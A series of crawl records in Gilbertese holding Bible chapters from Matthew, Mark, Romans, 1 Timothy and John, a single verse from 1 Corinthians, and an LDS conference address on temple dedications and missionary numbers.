ngaia are E taku, Ngkami, aika taani mwaamwanaa-te-aba, kam aera ngkai kam kataai? 19Katerea te mwane ane e kaboonganaaki ibukin te taekiti. Ao a anganna te mwane. 20E taku Iesu nako ia, Antai taamneina aei, ao antai arana aei? 21A kaeka ao a taku, Kaitara. E taku ngkanne nako ia, Ma ngaia ae kam na angani Kaitara akana ana bwai Kaitara; ao angan te Atua akana ana bwai te Atua. 22Ngke a ongo, ao a miimii; ao a kiitanna ao a nako. 23A nako n Iesu n te bongi naba arei Tarukaio, ake a taku bwa akea te manga-maiu i mwiin te mate; ao a titirakinna, 24ni kaangai, Te Tia Reirei, e kaangai Mote, Ngkana e mate te aomata ao akea natina, ao tarina e riai n iein ma buuna bwa a aonga n riki natiia, ao a na atongaki bwa natin teuare e mate. 25A mena ngkoa i buakora taari-mwaane aika itiman; e iein are te karimoa ao e mate, ma akea natina. E a manga iein neiere buuna ma tarina are te kauoman. 26E a manga mate naba teuaei, ma akea natina; ao ai aron naba are te kateniman ngke e buuna neierei: ao ai bon aroia naba uaake a buuna neierei ni karokoa te kaitiman. 27Ao e a manga mate naba neierei i mwiia. 28Ma ngaia ae ngkana a manga maiu maate, ao antai buuna neierei i buakoia uaake itiman? Bwa a bane ni bunna. 29Ao E kaekaia Iesu ni kaangai, Kam kaairua, ibukina bwa kam aki ataa kanoan te Baibara, ke mwaakan te Atua. 30Bwa a aki iein aomata n te tai ni manga-maiu, ao a aki kaieinaki naba; ma a na riki n aroia anera ake i karawa. 31Ao ni kaeti ma manga maiuia-maate, kam tuai meni wareka ana taeka te Atua nakoimi, ngke E kaangai, 32Bon Atuan Aberaam Ngai, ao Atuan Itaaka, ao Atuan Iakobwa? Tiaki Atuaia akana a mate te Atua, ma bon Atuaia akana a maiu. 33Ao ngke a ongo aomata aika a bati, ao a miimii n ana reirei. 34Ngke a ongo Bwaritaio bwa E kaini wiia Tarukaio Iesu, ao a bootaki. 35Temanna i buakoia ae te rooia, e tabeka ana titiraki nakon Iesu bwa e na kamwanea iai. 36E taku, Te Tia Reirei, tera te tua ae moan te kakannato i buakon taian tua? 37E taku Iesu nakoina, Ko na tangira te Uea ae Atuam n nanom ni kabanea, ao ni maium ni kabanea, ao ni wanawanam ni kabanea. 38E korakora te tua aei, ao moanibaan te kakannato i buakon taian tua. 39Ao ai aron naba are te kauoua, are e kaangai: Ko na tangira raom n ai aron tangiram i bon iroum. 40E bane te Tua ma aia taeka n reirei buraabeti n tine i aan tuua aika uoua aikai. 41Ngke a bootaki Bwaritaio tabemwaang, ao E titir akinia Iesu, 42ni kaangai, Tera ami iango iroun te Kristo? E nako man te kanoa ra? A taku nakoina, E nako mani kanoan Tawita. 43E taku nako ia, Ao e aera ngkanne Tawita, ngke e atonga Teuaei iroun te Taamnei bwa ana Uea, ngke e kaangai: 44E taku te Uea nakon au Uea, Ko na tekateka i angaataiu, ni karokoa I kaakiia am kairiribai i aani waem. 45Ngke E atongaki iroun Tawita bwa ana Uea, ao e na kangaa n atongaki bwa kanoan ana kariki Tawita? 46Ao akea irouia ae e konaa ni kaeka, ao akea naba irouia man te tai arei ae e na kani manga titirakinna.\nMATAIO 22","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/GILBSP\/Matt\/22","date":"2013-12-13T17:36:47Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386164965557\/warc\/CC-MAIN-20131204134925-00000-ip-10-33-133-15.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":13,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":1041,"character_repetition_ratio":0.042,"word_repetition_ratio":0.0,"special_characters_ratio":0.245,"stopwords_ratio":0.416,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1E kiitana te tabo arei Iesu, ao E nako n taabo ake i Iutaia ma ake i tinanikun te karaanga are te Ioretan. A manga kawaria naba aomata aika a mwaiti, ao E reireiia naba n ai aroni kateina are E tataneiai iai. 2A nakoina Bwaritaio temwaangina ao a kataia ni kamwanea n aia titiraki. A taku, Iai riaina i aan te tua bwa e na kanakoa buuna te mwaane? 3E kaekaia Iesu ao E taku, Tera te tua are e anganingkami Mote? 4A kaeka ao a taku, E anga te kariaia Mote nakon te mwaane bwa e na korea taekan aia raure i aon te beebwa, ao bwa e na kanakoa buuna. 5E taku Iesu nakoia, E korea te tua aei Mote ibukini matoatoan nanomi. 6Bwa mani moani karikani bwaai ao aei taekana: E karikiia te Atua bwa te mwaane ao te aine. 7Nibukina aei, ao e na kiitana tamana ma tinana te mwaane ao e na katiteuanaaki ma buuna, 8ao naka uoman a na riki n ti te irikona. Ma ngaia ae ai tiaki uoman ngaiia bwa ai kaanga temanna n aomata. 9Ma ngaia aei, bwa naake E a tia ni kabooia te Atua ao akea te aomata ae na konaa ni karaureiia. 10Ngke a mena i nanon te auti, ao a manga titirakinna riki ibukin taekan te baerei. 11Ao E taku nakoia, Te mwaane ane e kanakoa buuna ao e iein ma temanna, e a karaoa ae e bure nakoni buuna bwa e wene ni bure; 12ao te aine, ngkana e kanakoa buuna ao e iein ma temanna, ao e wene ni bure iai. 13Iai aomata ake a nikiriia ataei iroun Iesu bwa E na kaaki baina i aoia, ma a takuaki irouia ana reirei. 14Ngke E noora aei Iesu ao E rin, ao E taku nakoia ana reirei, Kanakomaia ataei nakoiu, ao tai tukiia; bwa uean te Atua bon aia bwai ataei aika ai aroia aikai. 15E koaua ae I a tuangkami bwa ane e aki butimwaaea uean te Atua n ai aron te teei, ao e na bon aki konaa n rin iai. 16Ao E bwabwakoiia ataei Iesu, ao E taetae ni kakabwaiaiia ngke E katokai baina i aon temanna i mwiin temanna. 17Ngke E a manga moana mwanangana Iesu, ao e biri nakoina te mwaane temanna; e katorobubua i matan Iesu ao e titirakinna ni kaangai, Te Tia Reirei ae e raoiroi, tera ae I riai ni karaoia bwa e aonga n reke irou iai te maiu are e aki toki? 18E taku Iesu nakoina, E aera ngkai ko atongai bwa I raoiroi? Akea temanna ae e raoiroi bwa ti te Atua n ti Ngaia. 19Ko atai taian tua: Ko na aki kamateia aomata; Ko na aki wene ni bure; Ko na aki kimoa; Ko na aki anga am kaotioti ae e kaairua bwa taekan temanna; Ko na aki baabakanikawai; Ko na karinea tamam ma tinam. 20Ao e taku nakon Iesu, Te Tia Reirei, I a kaman tou mwiin tuua akanne ma ngke te kairake ngai. 21Ngke E tatarataraa teuarei Iesu ao E tangiria, ao E taku nakoina, Teuana te bwai ae akea iroum; naako, kaboo nako am bwai akana iai iroum; ao booia, anganiia akana akea aia bwai, ao ane e na reke iroum iai am bwai i karawa; ao nako mai iriirai. 22Ngke e ongo taeka akekei teuarei, ao e oti irouna te mata n rawaawata; ao e taonnako ma te aki kukurei. 23E taraiia nako ana reirei Iesu ao E taku nakoia, Ai kaangaanga ra te rin n uean te Atua irouia akana kaubwai! 24A miimii ana reirei n ana taeka. Ma E a manga taku nakoia, Ataei, ai kaangaanga ra te rin n uean te Atua! 25E rangi ni kaangaanga riki iroun te aomata ae e kaubwai bwa e na rin n uean te Atua nakon te kaamero ngkana e na rin i nanoni bwangabwangan te neiran. 26A rangi ni miimii n aei ana reirei, ao a i titiraki irouia ni kaangai, Antai ngkanne ae e na konaa ni kamaiuaki? 27E taraiia Iesu ao E taku, E aki konaaki aei irouia aomata, ma E konaaki iroun te Atua: bwa a konaaki bwaai nako iroun te Atua. 28E taetae ngkanne Betero ao e taku, Noria, ti a tia ni kiitani bwaai nako ao ti iriiriko. 29E taku Iesu, E koaua ae I a tuangkami bwa te aomata ae a tia ni kiitana mwengana ke tarina, ke mwaanena, ke tamana, ke tinana, ke abana i bukiu ao ibukin te euangkerio, 30e na karekei aika a bati riki n te roro aei. E na karekei tebubua riki mwaitin auti, ma taari, ma mwaane, ma tiina, ma naati, ma aaba, ma bwainikiriinaki naba; ao n te aonnaba ae e na roko te maiu are e aki toki. 31Ma a mwaiti aika a mena i moa aika a na riki ni kabane, ao aika a mena n te kabane bwa a na mena i moa. 32E tabe ngkai n nakonako Iesu ma ana reirei i aon te kawai nako Ierutarem. E ri moaia ana reirei ake a taonaki n te miimii; ao a maaku aomata ake a iririia. E a manga karaoa naba are E a tia ni karaoia: bwa E kaokoroia ana reirei ake tengauni ma uoman ao E taekin nakoia taekani bwaai ake a nangi riki nakoina. 33E taku, Noria, ae ti a toua kawaira nako Ierutarem; ao ane E nang kamwaneaki Natin te Aomata nako nanoni baiia ibonga ake mataniwi ma taani koroboki, ao ane a na anga Ngaia nakoia aomata aika tiaki I-Iutaia, 34ake a na kaenaenaa, ao a na bawareia, ao a na kataerea, ao a na kamatea; ma i mwiin tenibong ao E na manga maiu. 35A roko ngkanne iroun Iesu Iakobo ma Ioane ake natin Tebetaio, ao a taku nakoina, Te Tia Reirei, ti tangiriko bwa Ko na karaoa nakoira te bwai ae ti na butiiko iai. 36E kaekaia ao E taku, Tera ae kam tangirai iai bwa N na karaoia i bukimi? 37A taku nakoina, Karekea nera bwa ti na tekateka, temanna i angaataim ao temanna i angamaingim, ngkana Ko tekateka i aon am kaintokanuea n te Aba-n-uea are e mimitong. 38Ma E taku Iesu nakoia, Kam aki ataa te bwai ae kam buubuti ibukina. Kam konaa ni mooi ni mwangkon te karawaawataaki ae N nangi nimma? Ao kam konaa ni bwaabetitooaki n te aeka ni bwaabetiito ae N nangi bwaabetitooaki iai? 39A kaeka ao a taku, Ti konaa. E taku Iesu nakoia, Kam konaa ni mooi n te mwangko ae I mooi iai; ao kam konaa ni bwaabetitooaki n te bwaabetiito ae I bwaabetitooaki iai, 40ma te tekateka i angaataiu ao i angamaingiu bon akea au bwai iai bwa N na anga te kariaia; e a katauaki te tekateka i bukiia te koraki are e a tia ni baaireaki i bukiia. 41Ngke a ongo aei reirei ake tengaun, ao a un irouia Iakobo ma Ioane. 42E weteiia Iesu nakoina ao E taku nakoia, Kam ataia bwa te koraki ake a katauaki bwa taan tau-taeka i aoia aomata aika tiaki I-Iutaia bon iai mwaakaia i aoia, ao aia aomata ake a kakannato a kaboonganai mwaakaia i aoia. 43Ma e na aki riki aei i buakomi: bwa ane e kani kakannato i buakomi ao e riai n riki bwa ami tabonibai, 44ao ane e kan atongaki bwa te nambwauan, ao ke e riki bwa aia toro aomata ni kabaneia. 45Bwa E roko naba Natin te Aomata, tiaki bwa e na toronaki te aba irouna, ma E na toro irouia aomata, ao E na anga maiuna bwa booni kamaiuaia aomata aika a bati. 46A roko i Ieriko, ao n te tai are E tabe ni kiitana ikekei iai Iesu ma ana reirei ma aomata aika a bati, ao Bwatimea ae te tia buubuti ae e mataki, ae natin Timea, e tekateka i rarikin te kawai. 47Ngke e ongo bwa Iesu are kaain Natareta, ao e takaarua ni kaangai, Iesu, ae Natin Tawita, nanoangaai! 48A mwaiti aomata ake a takuia ao a tuangnga bwa e na aki karongoaa; ma e kanenea riki bwanaana n takaarua ni kaangai, Natin Tawita, nanoangaai! 49E tei Iesu ao E taku, Weteia. A wetea teuare e mataki ao a kaangai nakoina, Keiaki, tei rake bwa E weteiko. 50E karenako rabunana mai aona, ao e kiba rake, ao e kawara Iesu. 51E titirakinna Iesu ao E taku, Tera te bwai ae ko tangirai iai bwa N na karaoia i bukim? E kaeka te aomata are e mataki ao e taku nakoina, Raboni! I kan nooraaba. 52E taku Iesu nakoina, Toua nako kawaim; e kamaiuko am onimaki. E a nooraaba ngkekei naba, ao e iriira Iesu i nanon te kawai.\nMAREKO 10","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/GILBSP\/Mark\/10","date":"2013-12-10T09:50:35Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386164014852\/warc\/CC-MAIN-20131204133334-00006-ip-10-33-133-15.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":9,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":1444,"character_repetition_ratio":0.056,"word_repetition_ratio":0.0,"special_characters_ratio":0.241,"stopwords_ratio":0.45,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Ma ngaia aei, taari, ibukin aron te Atua n nanoanga ae e bati, ao I buubutingkami bwa kam na angan te Atua rabwatami bwa te karea ae e maiu ae e itiaki, ae E na kukurei iai; bwa aei aromi ae e riai ae E kaantaningaia te Atua bwa kam na anganna. 2Tai katootoonga aroni katein te maiu aei; ma a na bitaki tein ami iango man are kam tataneiai iai, bwa kam aonga n ataa raoi aroni karaoan te bae e raoiroi ma ni kakukurei nakon te Atua. 3I bukin te aakoaki are I anganaki, ao aei au taeka nakoimi n tatabemaningkami nako: e na tai iango temanna i nanona ni kamoamoa i bon irouna i aon ae e riai; ma e na bwaina te iango raoi, ao e na kaetieta arona ma aron te onimaki are E a tia te Atua n tibwaia nakoia aomata nako. 4Bwa ngkai a bati bwain te rabwata ae ti teuana, ao ngkai a kakaokoro aroia ni mwakuri, 5ao ai arora naba: bwa e ngae ngke ti bati, ma te rabwata ngaira ae ti teuana i nanoni Kristo, ao ti bane n reitaki temanna ma temanna n arora aika a kakaokoro bwa bwain te rabwata ae ti teuana. 6Ma ngaia ae ti na kamanenaai bwaai n tituaraoi aika a kakaokoro ake ti anganaki n tatabemanira nako mai iroun te Atua n ai aron nanona n akoi: ngkana ti anganaki te konaa n taetae ni buraabeti, ao ti na taetae ni buraabeti, n aki tibanako ma ara onimaki are iai iroura; 7ngkana te konaa n ibuobuoki, ao ti na ibuobuoki; ao ngkana te konaa n reirei ao ti na reirei; 8ngkana te konaa ni kauunga, ao ti na kauungaiia aomata; ngkana te konaa ni buokanibwai, ao ti na i buokanibwai ma te nanoraoi; ngkana te konaa ni kairiri, ao ti na karaoia nakon ara kabanea n tamaaroa; ao ngkana ti konaa ni karaoa te mwakuri n nanoanga nakoia aomata, ao ti na karaoia ma te nano ni kukurei. 9Tai mwaamwanaa te aba n ami tangira. Riba te buaakaka, ao nim ma te raoiroi. 10Kam na i tangitangiri n ai aroia taari, ao tai tabwara ni kaota aron te ikarinerine. 11A na aki bwara nanomi man te baere kam uaiakinna; kamatoai angin nanomi; tooro iroun te Uea. 12E na reke iroumi te kimwaareirei n ami kaantaninga; bwaina te taotaonaki n nano i buakon te rawaawata, ao bwaina te tataro n taai nako. 13Kam na anga ami bwai nakoia ake a itiaki bwa buokani kain nanoia, ao kam na butimwaaiia n akoiia ni mwengami. 14Kam na taetae ni kakabwaiaia akana bwainikiriningkami; taetae ni kakabwaiaiia, ao tai atongi taeka aika a na reke kaiia iai. 15Kam na kimwaareirei ma akana kimwaareirei; kam na tang ma akana tang. 16Kam na kabooboo nanomi. Tai bwaina te nano ni kani kakannato riki nakoia temwaangina, ma kam na kukurei n i raorao ma akana mangori. Tai iangoingkami bwa kam wanawana. 17Tai karaoa ae e buaakaka nakon te aomata ae e karaoa ae e buaakaka nakoim, ma karaoi baika a raraoi i mataia aomata naako. 18Ngkana kam kona,ao karaoi bwaai ni kabane aika kam na konaa iai ni maeka n rau ma aomata ni kabaneia. 19Ngkami aika kam tangiraki, tai iri taangami; E na karaoia te Atua; bwa e koreaki ae e kaangai: E taku te Uea, Au bwai te irantaanga, N na kabooboo Ngai. 20Ma kam na karaoa are e taekinaki ni kaangai: Ngkana e kan amwarake te tia ribaiko, ao kaamwarakea; Ao ngkana e kani mooi, ao kamooiia; Bwa ngkana arom anne, ao ai aron ae ko ikoikoti mwaakaron te ai i aon atuuna iai. 21Tai taenikai n te buaakaka, ma kam na kataea ana kai te buaakaka n te raoiroi.\nROM 12","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/GILBSP\/Rom\/12","date":"2013-12-11T14:26:06Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386164037630\/warc\/CC-MAIN-20131204133357-00023-ip-10-33-133-15.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":6,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":622,"character_repetition_ratio":0.061,"word_repetition_ratio":0.0,"special_characters_ratio":0.226,"stopwords_ratio":0.442,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Te moani bwai ae e kakaawaki bon au buubuti bwa a na iai taian tataro ni buubuti ma n onnon, ao ni katituaraoi naba i bukiia aomata ni kabaneia; 2ibukia ueea ma mataniwi aika a kakannato ni kabaneia, bwa ti aonga n rau ma n aki kaberoroaki n arora ni kaota karinean te Atua, ao n arora aika a riai nakoia aomata. 3E raoiroi aei ao e riai i matan ara Tia Kamaiu ae te Atua; 4ae E tangiriia aomata ni kabaneia bwa a na kamaiuaki, ma n ataa te koaua ae e kaangai, 5Bwa ti temanna te Atua, ao ti temanna naba te tia raoi i marenan te Atua ma aomata, bwa te aomata are Kristo Iesu, 6are e anga Ngaia ibukini kainaomataaia aomata ni kabaneia. E a kaotia n arona anne bwa te bwai ni kakoaua n taina ae e riai ibukin nanon te Atua n tangiriia aomata ni kabaneia bwa a na kamaiuaki; 7ao anne bukin ae I rineaki iai bwa te tia katanoataa taekana, te tia tuatua, ao te tia reireiia aomata aika tiaki I-Iutaia taekan te onimaki ma te koaua. I atonga te koaua, I aki kewe. 8Ma ngaia ae I tangiriia mwaane bwa a na arori baiia aika a aki karaoa ae e buaakaka ao a na tabeki rake n tataro n taabo nako, n aki un ma n aki kauntaeka. 9I tangiriia naba aine bwa a na kunnikainiia n te kunnikai ae e riai ae a na aki taekinaki ni kamoamoaaki iai; ao a na tai kunnikainiia ni kunnikai aika a bo-buaka; 10ma a na katamaaroaiia ni mwakuri aika a raraoi, bwa bon te bwai ae e riai irouia aine aika a tabu bwa Kristian ngaiia. 11E na reirei te aine ma e na aki karongoaa, ao e na aan-taeka. 12I aki kariaia te aine bwa e na anga reirei, ke e na iai mwaakana i aoia mwaane, ma e riai ni kainabwaabu. 13Bwa e karaoaki moa Atam, ao rimwi Ewa; 14ao e aki mwaamwanaaki Atam, ma e mwaamwanaaki te aine, ao e riki bwa te tia riaon ana tua te Atua. 15Ma e na kamaiuaki ni bungian natina, ngkana e teimatoa i nanon te onimaki ma te tangira, ao ni bwaina te maiu ae e itiaki ma n nanowanawana.\n1 TIMOTEO 2","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/GILBSP\/1Tim\/2","date":"2013-12-06T07:43:55Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386163050081\/warc\/CC-MAIN-20131204131730-00077-ip-10-33-133-15.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":10,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":378,"character_repetition_ratio":0.068,"word_repetition_ratio":0.0,"special_characters_ratio":0.236,"stopwords_ratio":0.537,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1I mwiini baikai ao E a manga kaotia Iesu nakoia ana reirei i rarikin te nama are Tiberia; ao aei arona ni kaotia: 2a bootaki i rarikin te nama reirei aikai, Timon Betero, Toma are e aranaki bwa te Bwebwee, ao Natanaera are kaaini Kana are i Kariraia, ao natin Tebetaio ake uoman, ao uoman riki ana reirei. 3E taku Betero nakoia, N na nako n akawa. A taku nakoina, Ti na iriko. A nako n toka n te booti; ma bon akea konaia n te tairiki arei. 4Ma ngke e nang oti taai, ao E tei Iesu i mataniwiin te aba, ma a aki kinaa ana reirei bwa Iesu. 5E titirakiniia ngkanne Iesu ao E kaangai, Ataei, e reke aromi? A kaeka ni kaangai, Kai akea ae! 6Ao E taku nakoia, Kabwaka te karaun i angaatain te booti, ao kam na kona iai. A kabwakaa ngkanne te karaun iai, ao a aki konaa ni katikia bwa a rangi ni bwakanako iika n reke iai. 7Ao te reirei are E tangiria Iesu e taku ngkanne nakoni Betero, Bon te Uea. Ma ngaia are ngke e ongo Timon Betero bwa te Uea, ao e kabaea i aona ana kabaraaki, bwa e a tia ni buuti kunnikaina, ao e ewe nako n te nama. 8Ao a roko reirei ake raoia n te booti are e uarereke, ni katika te karaun are e on n te ika, bwa a aki rangi n raroa ma te aba bwa tao tebubua te miita raroaia. 9Ngke a aerake ngkanne i eta, ao a noora iai te ai ae aiana te marara ma te ika ae e tinimaki iai, ao te kariki. 10E taku Iesu nakoia, Uoti mai iika mani konami ake a tibwa reke. 11Ma ngaia are e toka i aon te booti Timon Betero ao e katika te karaun nako aon te aba; e on te karaun n iika aika a abwaabwaki. E ngae ngke e rangi ni bati te ika, ma e aki roko n te raeuaki te karaun. 12E taku Iesu nakoia, Mai amwarake. Akea irouia ana reirei ae e ninikoria bwa e na titirakinna ni kaangai, Antai Ngkoe? Bwa a kinaa bwa te Uea. 13E nako Iesu n anaa te kariki, ao E anganiia; ao ai arona naba nakon te ika. 14Aei ana katenua n tai ni kaoti Iesu nakoia ana reirei i mwiin te tai are E a manga maiu iai mai buakoia maate. 15Ngke a a tia n amwarake, ao E titirakina Timon Betero Iesu ni kaangai, Timon, ae natin Ioane, ko tangirai riki nakoia uaakai? E taku Timon nakoina, Te Uea, Ko ataai bwa I tangiriko. E taku Iesu nakoina, Kakaamwarakeia au tiibu aika ataei. 16E a manga taku naba Iesu nakoina, Timon, ae natin Ioane, ko tangirai? E taku Timon nakoina, Eng, te Uea; Ko a ataai bwa I tangiriko. E taku Iesu nakoina, Kakaawakinia au tiibu. 17E a manga taku riki Iesu nakoina, Timon, ae natin Ioane, ko tangirai? E rawaawata nanoni Betero ngke E katenua ana tai Iesu ni kaangai nakoina, Ko tangirai? Ao e taku nakoina, Te Uea, Ko atai bwaai ni kabane; Ko ataai bwa I tangiriko. E taku Iesu nakoina, Kakaamwarakeia au tiibu. 18Bon te koaua ni koaua ae I a tuangko, bwa ngke te teei ngkoe, ao ko tataneiai ni katauraoiko, ao ko nako ike ko kan nako iai; ma ngkana ko a unimwaane, ao ko na arori baim, ao ane e na katauraoiko temanna ao e na kairiko nako ike ko aki kan nako iai. 19E atonga aei Iesu bwa E na kaota aroni mateni Betero, are e na neboa te Atua iai. Ngke E a tia n atonga aei, ao E taku nakoni Betero, Ko na irai. 20E rairaki Betero, ao e noora te reirei are E tangiria Iesu bwa e iri; ngaia ngkoa are e raraa bwanibwanin Iesu ngke a amwarake n tain te Toa are te Riao, ao ngaia naba are e kaangai, Te Uea, antai ae e na kamwaneko? 21Ma ngaia are ngke e nooria Betero, ao e taku nakon Iesu, Te Uea, e kaanga aron teuaei? 22E kaeka Iesu ni kaangai, Ngkana I tangiria bwa e na teimatoa ni maiu ni karokoa manga okiu, ao e aera bwa ko na katabea nanom iai? Ko na irai. 23E a buta nako ngkanne te rongorongo i buakoia taari akekei ae e na aki mate te reirei arei; ma E aki taku Iesu nakoina bwa e na aki mate, ma E kaangai, Ngkana nanou bwa e na teimatoa ni maiu ni karokoa manga okiu, ao e aera bwa ko na katabea nanom iai? 24Te reirei arei boni ngaia te tia kakoaua ibukini baikai, ao boni ngaia naba ae e koroi taekaia; ao ti ataia bwa a koaua ana taeka. 25Ao iai riki bwaai aika a bati ake E karaoi Iesu, ao ngkana e na taonaki teuana i mwiin teuana ni koreaki taekana, ao I taku bwa e na kaonaki aonnaba ni bokiia, ao a na aki reke nneni moana.\nIOANE 21","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/GILBSP\/John\/21","date":"2013-12-13T17:45:06Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386164965557\/warc\/CC-MAIN-20131204134925-00020-ip-10-33-133-15.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":11,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":831,"character_repetition_ratio":0.065,"word_repetition_ratio":0.032,"special_characters_ratio":0.246,"stopwords_ratio":0.438,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"10ke tiaki ana taeka anne i bukira? E boni koreaki i bukira: bwa te aomata ae e katauraoa raoi tanon ana tabo n unuuniki e mwakuri ma kaantaningaan reken tibwangana man uaan arokana; ao te aomata are e kaaki kunin uaan uiita e kaantaninga naba reken tibwangana man uaan uiita.\n1 KORINTO 9:10\nOne App.\n844 Languages.","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/GILBSP\/1Cor\/9\/10","date":"2013-12-06T11:07:57Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386163051474\/warc\/CC-MAIN-20131204131731-00056-ip-10-33-133-15.ec2.internal.warc.gz","language":"gil","language_score":1.0000098944,"language_script":"Latn","minhash_cluster_size":13,"top_langs":"{\"gil_Latn_score\": 1.0000098943710327}","num_words":54,"character_repetition_ratio":0.105,"word_repetition_ratio":0.0,"special_characters_ratio":0.229,"stopwords_ratio":0.315,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"10785_859_11monsonI kaumaki ngkami n te tai aei bwa kam na kakauongo raoi ao n iangoi raoi rongorongo ake ti nang ongoraai. Bon au tataro bwa ti aonga ni karaoi.\nTariu ao mwaneu aika kam tangiraki, ai kakatongara ngai ni butimwaai ngkami nakon ana ka 183 ni Maungatabu ni Kabuta n te Ririki te Ekaretia.\nNi kabanean kaitibora n onoua te namwakaina n nako, e bon reke au tai ni mwamwananga teutana ao ni kaitibo ma tabeman mai ibuakomi n oin ami tabo. Imwiin te maungatabu ni kabuta n Okitobwa, I mwananga nako Tiaman, ike e reke iai au tai ni kaitibo ma membwa n taabo aika kakaokoro n te aba anne, n ikotaki ma tabeua mwakoron Austria.\nNi banen Okitobwa, I katabua Calgary Alberta Tembora i Canada, ma ana ibuobuoki Unimwaane ao Titita M. Russell Ballard, Unimwaane ao Titita Craig C. Christensen, ao Unimwaane ao Titita William R. Walker. N Nobembwa I a manga katabua riki te Boise Idaho Tembora. Raou ni mwananga naba ni karaoa te katabu Unimwaane ao Titita David A. Bednar, Unimwaane ao Titita Craig C. Christensen, ao Unimwaane ao Titita William R. Walker.\nTe bukamaru n te katei are e karaoaki ni kaineti ma katabu aikai a bon rangin n nakoraoi. I aki ira te bukamaru i Calgary, ngkai bon ana ka 85 ni koro n ririki Titita Monson ao I namakinna bwa n na tiku ma ngaia. E ngae n anne, ao e reke ara tai ngai ma ngaia ni mataku n te bukamaru ni mwengara n te terewition, ao imwiina I kiba nako Calgary n te moaningabong are imwiina ibukin te katabu. I Boise e raka iaon 9,000 kairake irarikin te tembora aika ira te bukamaru. E rangin rawata kairake aika iri ngaia ae e a bon aki reke n neia kaain te utu ni mataku n te tabo ni kamataku.\nAi tibwa n te namwakaina ae nako Beretitenti Dieter F. Uchtdorf, n raonaki iroun Titita Uchtdorf, Unimwaane ao Titita Jeffrey R. Holland, ao Unimwaane ao Titita Gregory A. Schwitzer, a mwananga nako Tegucigalpa, Hondoras, ni katabua ara tembora ae moan te boou ikekei. Te bukamaru ae moan te nakoraoi irouia kairake e karaoaki n te tairiki imwain te katabu.\nIai tembora riki tabeua aika a tia ni katanoataaki ao a tia ni iangoaki kateakiia ke ni waakinaki karaoia.\nBon te kakatonga irou n te ingabong aei ni katanoatai uoua tembora, ake inanon namwakaina ke ririki aika ana roko ana kateaki n taabo aikai: Cedar City, Utah, Rio de Janeiro, Brazil. Tariu ao mwaneu, katean tembora a reitinako n arona n taai aika nako.\nN aron ae ko ataia, n te maungatabu ni kabuta n Okitobwa ao I katanoatai bitaki n aia ririki ataeinimwaane ao ataeinaine ae a kona iai n karaoa aia mwakuri ni mitinare ae bwanin taina, ma ataeinimwaane ngkai a kona ni mitinare n te ririki ae 18 ao ataeinaine n te 19.\nTe kaeka mairouia ara kairake e bon rangin ni kamimi ao n anainano. N Eberi 4—uoua te bong n nako—ti karekeia 65,634 mitinare aika bwanin aia tai aika a tia ni beku, ma e raka iaon 20,000 aika a tia ni karekei aia wewete ae a tuai n rin n te kataneiai ni mitinare ao e raka iaon 6,000 aika a karaoa ngkai aia intawiu ma aia bitiobi ao beretitenti n titeiki.E a bon riai katean 58 mition aika boou ni kaitara rikiraken mwaitia mitinare.\nN ibuobuoki ni kateimatoa te mwakuri ni mitinare aei, ao bukina ngkai a mwaiti irouia ara mitinare aika a nako man taabo aika aki rangin ni kaubwai, ti kaoi ngkami, ngkai kam kona, n anga nakon Ana Mwane ni Mitinare te Ekaretia ni Kabuta.\nNgkai, tariu ao mwaneu, ti na ongora nakon rongorongo aika kaunganano n te bong aei ao n ningabong. Naake ana taetae nakoira a tia ni ukoukoria ma te tataro mwaaka bwa ana ata te bwai ae tangiria te Uea bwa ti na ongora nako iai n te tai aei.\nI kaumaki ngkami n te tai aei bwa kam na kakauongo raoi ao n iangoi raoi rongorongo ake ti nang ongoraai. Bon au tataro bwa ti aonga ni karaoi n aran Iesu Kristo, amen.\nSitio web oficial de La Iglesia de Jesucristo de los Santos de los Últimos Días\n© 2013 Intellectual Reserve, Inc. Todos los derechos 